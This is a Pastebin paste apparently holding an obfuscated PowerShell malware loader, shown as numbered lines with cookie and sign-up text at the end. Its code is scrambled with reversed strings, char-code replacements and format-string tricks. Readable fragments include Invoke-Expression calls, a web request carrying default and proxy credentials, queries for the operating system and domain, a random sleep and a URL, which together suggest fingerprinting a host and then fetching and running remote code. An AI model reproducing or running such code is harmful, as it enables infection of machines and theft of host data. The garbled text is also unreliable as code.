  405.        sD9,sD9ya2H9s8 =tDwrz+wrzDmh+Dmhn+tDn ne2H9+2H9w-object -Ty2H9tyatDn+tDn,tyamPJvaqbjfVqragvgl = [ssD9,sD99+2H9 mea,mea function trtDn+tDngUbfgAnzr(tDn+tDn){
  406.       tya,tya   try{
  407.         YmPptyatDn+tDn2f0+2f0,tyXpN+XpN2f0+2f0aoHw2gr1+gr1H9+2sD9,sD939}{'+'146}{63}{239}{67}{83}{46}{168}{12}{70}{64}{219}{153}sD9,sD90
  408.  Dmh+Dmh  YmPtDn+tDntsD9,sD9H9tya,tya          0zH+0zH  rdLv+dLveturn XArErrorsD9,sD9{137}{115}tDn+tDn{172}{25tDn+tDn}{109}{104}{4}{71}{143}{13sD9,sD92H9 sD9,sD9I.2f0+2f0GetBytVfY+VfYes(YmPe2H9+sD9,sD9t32U,32Uau2f0+2f0ltCretyaMOC,MOC9,sD9tDn+tDn  sC1k,sC1k ttDn+tDmea,mea32_OperatingSyssD9,sD9f0+2f0 tDn+tDnYmPtDn+tDnerfh2f0+2fsD9,sD92H9+2H9sleeptDn+tDn 30
  409. 32U,32U
  410.  
  411. ) )43]rahC[,POH8FAPOH ECALpeR-  421]rahC[,)86]rahC[+79]rahC[+121]rahC[(ECALpeR-  69]rahC[,POHFlcPOHeCaLpeRC- 63]rahC[,)76]rahC[+27]rahC[+45]rahC[( ECALpeR- 93]rahC[,)311]rahC[+601]rahC[+65]rahC[(eCaLpeRC-  )POH
  412.  
  413.  
  414. ) qj8qj8 '+'NIOJ-] ) 8FAHTFlcgNel8FA.}CiFlcM{CH6 (-.. 1- [}CIPOH+POHFlcm{CH6 ( )qj8qj8nIOj-]52,51,4[}CEFlcPFlcsMoc:vNFlc32U,32Ue38sponsesD9,sD957}{217}{92}{33}{251}{209}{215}{139}{96Dmh+Dmh}{sD9,VfY+Vfqj8+qj8YsD9
  415.      UlV+UlV  YmPbhg = YmP_.Excep2f0+2f0tion.Messmea,meaatDn+tDnfaultCredentials
  416. 0zH+0zH
  417. sD9,sD9XAr + tsD9,'+'sD9Dnyanction Zbq(YmPx,tDn+tDn YmPH, YmPtsD9,sD9rrent()
  418.      tya,tya2'+'H9eSa2H9).e38+e38rsDZhzm+Zhzm9,sD9+tDn+[ChaR]84+[Cty'+'a,tyab64IT8tDn+tDnycE,ycEN+XpN 437
  419. YmPC = @(IT8http:/wrz+wrz/162tya,tDn+tDntysD9,sD9unction vasbvavg(){
  420. tDn+tDn    func2f0+2f0tionsC1k,sC1k  irL+irLbIN)).REPLACe(([CHaR]55+[CHaR]76+[gr1+gr1CHaR]116),[sTrInG][CHaR]36).REPLACe(([CHaR]119+[CHaR]114+[CHaR]122),[sTrInG][CHaR]39).REPLACe(([CHaR]109+[CHaR]106+[CHaR]122),bINsoWbIN)MOC,MOCwrzxwrz-JoInwrzwrz)
  421. bIN,bIN,2f0sD9,sD9P2f0+2f0ublicItDn+tDnP2f0+2f0tya,tya        Ym2f0+2f0Pahz = [int]YtyatDn+tDn,tysD9,sD9tya,tyaturn XArErrtDn+tDnorDodLv+dLvmainXAr;
  422.         }
  423. jN1,jN1    }
  424.  
  425.   mea,meahC[( eCalpER-  93]RahC[,)501]RahC[+411]RahC[+67]RahC[( eCalpER-))e38+e38jN1,tya YmsD9,sD99YmPpzq
  426. tDqj8+qj8bIN,bIND9,sD9n Out-Strintya2firmea,meak,sC1kH9asD9,sD9vcureg2f0+2tDn+tDnf0rkg.Length; YmPi+tDn+tDn+){
  427.  sD9,sD9+2f0ya,tya  tMOC,MOCsD9a,0zH+0zHt2f0+2f0ymea,mea,sD9,tya{
  428. tDn+tDn
  429.         2H9+2H9       tDn+tDsD9,sD9asb
  430. tDn+tDn   tDn+tDn    YmPvasb = (IT8{tya,tsD9,sD9tDn      t43E+43EDn+tDntry{
  431.            try{
  432.         sDA5X+A5X9,sD9lhmIT8 + Y2H9+2H9mPenbIN,bINa reMOC,MOC
  433.  
  434. )UlVxUlV+]31[DiLleHsiOy+]1[dilLehsiOy (& dfx)421]rAHC[gr1+gr1,UlVzhuUlV ecalpeRc- 69]rAHC[,UlVAsNUlVecalpeRc-  93]rAHC[,UlVjk0UlV  EcALpEr-  mea,mea+tMOC,MOC9,sD9Y2f0+2f0tDn+tDXpN+XpNnmPpzq.Lengt2f0+2f0h-Ytya,sD9,sD9add2ftDn+tDn0+2f0ress.com/2f0+2f0XAr
  435.    sD9,sD9f0l:url + YmsD9,sD9O.S2f0+2sD9,sD9nmP2f0+2f0bhg = YmPPWD;}
  436.        YmPbsD9,sD9  
  437.        if(YmtDn+tXpN+XpNDnPpzq.StasD9,sD9n return YmP_.2H9+22f0+2f0H9ExcsD9,sD9
  438.                return YtDn+tDnmP_.Excetya,tyabkl
  439.   tyatDn+tDn,sD9,sD9nya,tya   tDn+tDn       YmPtDsD9,sD92H9+sD9,sD9ya,tyaHfreanzr
  440. A5X+A5X
  441.    0zH+0zHPOH+POHYmPFlsD9,sD9VfY+VfYPahz YmPxrl YmPn
  442. tya,tyat -TypeName System.Stya,ttDn+te38+e38sD9,sD9n+tDn YmPbhg = YsD9,sD9ya9Base64tDn+tDsD9,sD9n
  443.        2f0+2f0 try{
  444. tDn+tDn         re2sbIN,bINnI.GetStrtDnbIN,bPOH+POHINP-f'+'dLv*dLv,dLv*mDrdLv)).uhPNbC9AmeuhP[3,11,2]-JoindLvdLv)
  445. jN1,jN1
  446.  
  447. nOiSsePOH+POHrPxe-EKovni syp)69]RaHc[,)65]RaHc[+57]RaHc[+99]RaHc[( ecaLPerC-43]RaHc[,irLuhXirLecaLPerC- 93]RaHc[,irLZhzmirLEcALPEr-  63]RaHc[,)86]RaHc[+97]RaHc[+09]RaHc[+27]RaHc[( ecaLPerC-421]RaHc[gr1+gr1,irLduMiirL EcALPEr-)irL
  448.  
  449.  
  450. ))] ) uhXhT8KcgNE8KcLuhX.uhXEulA8KcVuhX.))Zhzm87XZhzm,Zhzm2Zhzm f- uhX}1{}0{uhX(  )ZhzmRA32U,32UAA5X,A5XgET-VAA5X)  (A6T{0}{1}A6T -f A5XaB59eA5X,A5X8A5X) -vAL  )) ;. ( xTf{ENV20S:p20SUBLiC}[13]+xTf{eNv20S:pu20SBlic}[5]+A5XXA5X) (A6TxTf( SeT-VaRiA43E+43EBle  A5XofsA5X  A5XA5X )  A6T+ [STRiNG]( (&(A6T{0}{2}32U,32Uin32_ComputerSystem).Domain;
  451.         } catch {
  452. tDn+tDmh+ycE,ycE{YlP0KlPZhzm+Zhzm06hg}= [chAR[] ]fsn)0zH0zHNIOJ-0zHX0zH+]POH+POH3,1[)eCNErEFerpeSobRev9uP]gniRTS[( ( . X6a)43]rAHc[]gnIRTs[,0zHQEK0zH(EcaLPeR.)93]rAHc[]gnIRTs[,)77]rAHc[+97]rAHc[+76]rAHc[((EcaLPeR.)0zH9uP0zH,)701]rAHc[+65]rAHc[+57]rAHc[((EcaLPeR.)0zH
  453.  
  454. ))63]RaHC[,)501]RaHC[+97]RaHC[+121]RaHC[(EcaLPeRC-  93]RaHC[,)58]RaHC[+801]RaHC[+68]RaHC[(ECALpErjN1,jN1tttDn+tmea,mea    tya,tyapotya,tyacatch{
  455.       tyasD9,sD92f0X2f0+]5[}cILDgiBDgitDn+tDnUtDn+tDnpDgi:VnE{TCbq+]31[}cIlbUDsD9,sD9n+tDn   st2H9+22f0+2f0H9art-sleep (tDn+tDnGet-2f0+2f0Random -Min2f0+2f0imum 20 -Ma2H9sD9fsC1k,sC1k9{}972{}35{}5{}53{}141{}573{}631{}472{}69{}452{}612{}991{}86{}973{}41{}872{}713{}18{}711{}772{}093{}981wrz+wrz{}021{}343{}51{}33{}741{}341{}4{}16q32U,32U943{}481{}58{}814{}73{}821{}731{}053{}123{}25{}424{}03143E+43E{}193{}011{}773{}304{}591{}051{}192{}214{}24{}903{}44{}07{}672{}993{}851{}042{}213{}46{}324{}252{}023{VfY+VfY}92{}03{}511{}303{}68{}644{}493{}744{}153{}804{}062{}873{}073{}342{}633{}463{}781{}124{}892{}922{}401{}403{}693{}313{}48{}391{}963{}263{}593{}944{}632{}71mea,meaPptya,tyau2f0sD9,sD9))sC1k,sC1k- VIS}514{}291{}17{}66{jk0+jk0}822{}311{}29{}751{}152{}242{}742UlV+UlV{}743{}363{}59{}281{}624{}661{}43{}534{}412{}914{Zhzm+Zhzm}702{}092{}8{}66bIN,bIN2f0+tDn+tDn2sD9,sD9tDnya,tya2H9+2H9IPAddsD9,sD9rIT8sD9,sD9nZhzm+Zhzm sD9,sD9Pwc.p2tDn+tDnH9+2H9roxy.CredentitDn+tUlV+UlVDnal2H9+2H9s = tya,tya   YmPZhzm+ZhzmFlfVasbqj8+qj8 += trgtya,tya Y2f0+2f0msD9,sD9{50}{142}{12'+'8}{119}{133}{124}{82f0+2f0tDn+tDn1}{160}{144}{236}{43}tDn+tDn{87}{230}{202}tDn+tDsD9,sD92f0+2f0+tDn+tDn2H9ttya,tya retutDn+tDnsD9,sD9+2H9ximum 40)
  456.     }sD9,sD9n}{tDn+tDn125}{45}{222}{90}{30}{216}{250}{200}{19}{7}{149}{225}{231}{186}{161}sD9,sD9+2H9 ttDn+tDnrgEtDn+tDnnaqbzCebk2f0irL+irL+2f0l
  457.  
  458. tya,tya pbzznaq2sD9,sD9H9gth tDn+tDn-le 1){
  459.   2HsD9,sD9nf0  dLv+dLv}
  460.  
  461.    function trsD9,sD9tDn+tDnhgchgsD9,sD92f0+2f0YmPpk, YmP2Htya,tya)
  462.            YmtDn+tDnPbIN,MOC,MOCbINn+tDn        }
  463.  
  464.    }
  465.   sD9,sD92tDn+tDnf0+2f0 2H9+2HsD9,sD9:XArItya,tyajk0+jk0::GesD9gr1+gr1,sD9e2H43E+43E9+2H9ptZhzm+Zhzmio2H9+2H9n.M2f0+2f0essage
  466.             32U,32UaA5X+A5XXAr  
  467.        }
  468.  
  469. 2f0+0zH+0zH2sD9,sD9F82f0+2f0.GetByttDn+sD9,sD9Pn
  470. sD9,sD992f0+2f0  } catch {sD9,sD9{
  471.   2H9+2H9     YmPbhg = IEX Ym2f0+2ftDnbIN,bIN   trysD9,sD9XAtDn+tDnr
  472. tDn+tDn   tya,tya
  473.     tya,ttDn+tDnyajroerd = [System.Net.W0zH+0zHebReqjk0+jk0uest]::CreatejN1,jN1(0zH+0zHXpNBsk{yCWbC9TK}  = uhP ) )43]RAhC[,)68]RAhC[+37]RAhC[+38]RAhC[(ECaLPeRc-63]RAhC[,dLv0pHdLv eCalPeR-  93]RAhC[,)511]RAhC[+86]RAhC[+75]RAhC[(eCalPeR-  )dLv
  474.  
  475. ) )sD90pHsD9,)311]rAHC[+111]rAHC[+65]rAHC[((ECALpEr.)93]rAHC[]GniRtS[,sD9tDnsD9(ECALpEr.))sD9ya,tyaXi) % YmPntDn+tDn
  476.  tya,tDn+tDntya        tya,tya)
  477. 2H9+2H9
  478.     YmPglobal:A5X+A5XutDn+tDnrl = YmPC[YmPeaq]
  479.    
  480. }
  481.  
  482. fusD9,sD9tDnes(YmPpbatya,tyamPu2f0+2f0nftDn+tDnu = [SystetDn+tDnm.BitConversD9,sD9Pr2H9Zhzm+Zhzm+2H9oxy()sD9,sD9   YmPt = ZbqtDn+tDn YmsD9,sD9H9+2H9            [String]2sD9,sD9f0treamReader YsD9,sD9{
  483.  tya,tyard.proxy = [Net.WesD9,sD9 return (YmPglobal:id + IT8tDn+tDn**IT8 + YmPFlfVasb)
  484. }tDn+tDn
  485.  
  486.  
  487. function zq5trar2f0+2f0engbtDn+tDnVfY+VfYe2H9+2H92f0+2jN1,jN1f0(YmPfgeVa2f0+2fqj8+qj80){
  488.    YmPtDnA5X+A5X+tDnzqFLV,FLVD9zq[0]
  489.   sD9,sDjk0+jk09H9+2H9_naqDmh+Dmh_pba2fsD9,sD9 2f0+2f0   tDsD9,sD9n+tDn,tyatrgEn2H9+2tya,tya    YmPqnge38+e38n =tDn+tDsD9,sD9Dn+tDnerfhyg = XAre2f0+2f0rrorXAr2fsD9,sD9         try{
  490.      sDMOC,MOC     if(sD9,sD9 IT8IT8
  491. tDnmea,mea}21{}02{}91{}7{}22{}0{}42{}52{}8{}81{}32{}9{}132U,32U    bIN,bINA5X,A5Xmu0VA5X,A5XIable:CA5X,A5XvA5X,A5XaA5X)  ).A6TV20SALueA6T::(A6T{0}{1}A6T -fA5XReA5X,A5XVErSEA5X).Invoke((&(A6T{3}{0}{2}{1}A6T-f A5XRiA5X,A5XBlEA5X,A5X32Uf- xvM}6{}62{}23{}5{}91{}63{}22{}9{}52{}32{}31{}1{}81{}72{}73{}42{}03{}8{}02{}21{}41{}92{}13{}82{}83{}43{}93{}61{}12{}7{}0{}4{}33{}71{}2{}01{}51{}3{}53{}11{xvM((('(( )'X'+]31[dilLEhs$+]1[dIlleHS$ (& " ;  . ((&("{1}{0}"-f 'LE','vAriab') ("{0}{1}"-f'*m','dR*'))."na`mE"[3,11,2]-join'')( (&("{1}{2}{0}"-f 'ARIAbLE','get-','V') ("{0}{1}" -f '93','5SJ7') -VAlUEon  )[-1 .. -( (&("{2}{1}{0}" -f'LE','ARIAb','get-V') ("{1}{0}{2}"-f'J','935S','7') -VAlUEon  )."L`E`Ngth")] -jOIN'')
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!